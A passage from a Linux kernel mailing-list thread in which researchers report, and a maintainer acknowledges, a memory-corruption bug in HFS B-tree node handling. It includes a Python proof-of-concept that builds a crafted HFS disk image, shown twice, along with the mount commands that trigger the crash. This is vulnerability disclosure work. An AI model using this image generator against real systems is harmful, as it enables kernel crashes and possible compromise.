b'\x00\x00\x00\x00\x00\x00\x00\x00\xff\x01\x00\x02\x00\x00\x0f\x00\x00\x00\x00\x01\x08untitled\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\xe57x\x97\xe57x\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x02\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4133: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9a\x00d\x00\x0e', 4193918: b'\xfcN+\xa9\x00\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xb0\xeb\xdd\xa1\xb3\x18h\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00z\xb9\x8d\x0f<k\x18=4\x8f\x95S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa1\xb3\x18h\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc9\x1c\x8c\xf7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4193919: b'\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4193920: b'\x00\x00\x00\x00\xfd\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4193933: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4194300: b'BD\xe57x\x97\xe57x\x97\x01\x00\x00\x00\x00\x03\x00\x00\xf8=\x00\x00B\x00\x00\x01\x08\x00\x00\x13\x00\x00\x00\x10\xf7\xc1\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0f\xfc\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00cne\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00\x00\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00>\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'}

file1 = open('disk1.img', 'wb')
file1.truncate(1024*1024*1024)
for k, v in default_file_data.items():
    file1.seek(k*0x100, 0)
    file1.write(v)
file1.close()

file = open('disk2.img', 'wb+')
file.truncate(1024*1024*1024)
for k, v in default_file_data.items():
    file.seek(k*0x100, 0)
    file.write(v)

node_size = 0x8000
#Change node_size to 0x2000
file.seek(0x102200 + 0x20, 0)
file.write(pack('>H', node_size))

#Arrange root's data_rec_off
file.seek(0x102200 + node_size - 8, 0)
file.write(pack('>H H H H', 0x1F8, 0xF8, 0x78, 0x0E))

file.seek(0x102200 + node_size, 0)
file.write(default_file_data[0x1024])

#0x9a-(0x9a+n) -> 0xe8-(0xe8+n)
#0x1000+k==0xe8+n -> n = 0x1000 - 0xe8 + k
#(0x9a+n-k) = (0x9a-0xe8+0x1000)->*(0x9a+n-k)=any_data

data = pack('>H', 0xf0e0)
k = len(data)
file.seek(0x102200 + node_size*2 - 8, 0)
file.write(pack('>H H H H', node_size - 0x1000 + 0x9a - 0xe8 + k, 0x9A, 0x64, 0x0E))
file.seek(0x102200 + node_size + node_size - 0x1000 - 0xe8 + 0x9a, 0)

file.write(data)
file.close()

----- END PYTHON SCRIPT -----

^ permalink raw reply	[flat|nested] 4+ messages in thread

* RE: Bug Report: Memory Corruption Vulnerability in HFS Node Operations
  2025-11-18  5:50   ` mowenroot
@ 2025-11-18 23:31     ` Viacheslav Dubeyko
  0 siblings, 0 replies; 4+ messages in thread
From: Viacheslav Dubeyko @ 2025-11-18 23:31 UTC (permalink / raw)
  To: glaubitz@physik.fu-berlin.de, mowenroot@163.com,
	slava@dubeyko.com, frank.li@vivo.com, 1985755126@qq.com
  Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org

On Tue, 2025-11-18 at 13:50 +0800, mowenroot@163.com wrote:
> On Tue, 2025-11-18 at 06:35, Viacheslav Dubeyko Slava.Dubeyko@ibm.com wrote:
> 
> > Are you sure that you have latest version of the kernel? Because, we have the
> >  necessary checks of offset and length (check_and_correct_requested_length()) for
> >  HFS node operations in latest kernel:
> 
> Thank you for your response and for reviewing our report.
> 
> Yes, we verified that our tests were performed on the latest stable kernel release, as well as older
> versions for comparison. Although check_and_correct_requested_length() exists, certain malformed
> on-disk HFS B-tree node fields can still produce corrected lengths that remain outside valid
> boundaries. Specifically, forged record offsets, numRecords, or node->page_offset values may cause
> src, dst, and len to pass the correction logic but still result in out-of-range access into node->page[0],
> which leads to memory corruption.
> 

OK I see. It's strange but let me take a deeper look into the issue.

The ticket [1] has been created for the issue.

> > Could you please share the kernel configuration (.config) on your side?
> 
> We did not enable any special options during compilation. We only enabled:
>  CONFIG_HFS_FS=y
>  CONFIG_HFSPLUS_FS=y
> 
> We can send the complete configuration as an attachment if needed.

I'll let you know if I will need the complete configuration. I will try to
reproduce the issue on my own at first.

> 
> > Which script or method do you mean?
> 
> We used a small Python tool to generate a crafted HFS image where several B-tree node heade
> fields (fLink, bLink, numRecords, nodeSize, and record offset table entries) are intentionally
> manipulated while keeping the volume header valid enough for the filesystem to mount.
> The resulting image can still be mounted and used normally. The script is included below.
> 

Many thanks for sharing the script.

> > Which particular operations have been executed? Could you please share the
> >  precise commands?
> 
> The minimal sequence that triggers the crash is:
> 
>  mkdir /mnt/hfs
>  mount -t hfs ./disk2.img /mnt/hfs
>  mkdir /mnt/hfs/1
> 
> It may not always crash immediately. However, if you debug and place a breakpoint at
> memmove(ptr + dst, ptr + src, len) inside fs/hfs/bnode.c, you will observe that 'len' becomes
> extremely large, and during the memmove operation an out-of-bounds access has already occurred.
> 

OK. Let me check it.

Thanks,
Slava.

[1] https://github.com/hfs-linux-kernel/hfs-linux-kernel/issues/241

> Thank you again for your time and assistance.
> 
> Thanks,
>  0rb1t & mowen
> 
> ----- BEGIN PYTHON SCRIPT -----
> 
> from struct import pack
> 
> default_file_data = {4: b'BD\xe57x\x97\xe57x\x97\x01\x00\x00\x00\x00\x03\x00\x00\xf8=\x00\x00B\x00\x00\x01\x08\x00\x00\x13\x00\x00\x00\x10\xf7\xc1\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0f\xfc\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00cne\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00\x00\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xfc\x00\x00>\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 6: b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 38: b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x07\x00\x00\x07\xfe\x00\x00\x07\xfd\x00\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00', 39: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf8\x00\xf8\x00x\x00\x0e', 4130: b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00%\x00\x00\x07\xfe\x00\x00\x07\xfc\x00\x00\x00\x0f\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00', 4131: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf8\x00\xf8\x00x\x00\x0e', 4132: b'\x00\x00\x00\x00\x00\x00\x00\x00\xff\x01\x00\x02\x00\x00\x0f\x00\x00\x00\x00\x01\x08untitled\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\xe57x\x97\xe57x\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x02\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08untitled\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4133: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9a\x00d\x00\x0e', 4193918: b'\xfcN+\xa9\x00\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xb0\xeb\xdd\xa1\xb3\x18h\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00z\xb9\x8d\x0f<k\x18=4\x8f\x95S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa1\xb3\x18h\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc9\x1c\x8c\xf7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4193919: b'\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 4193920: 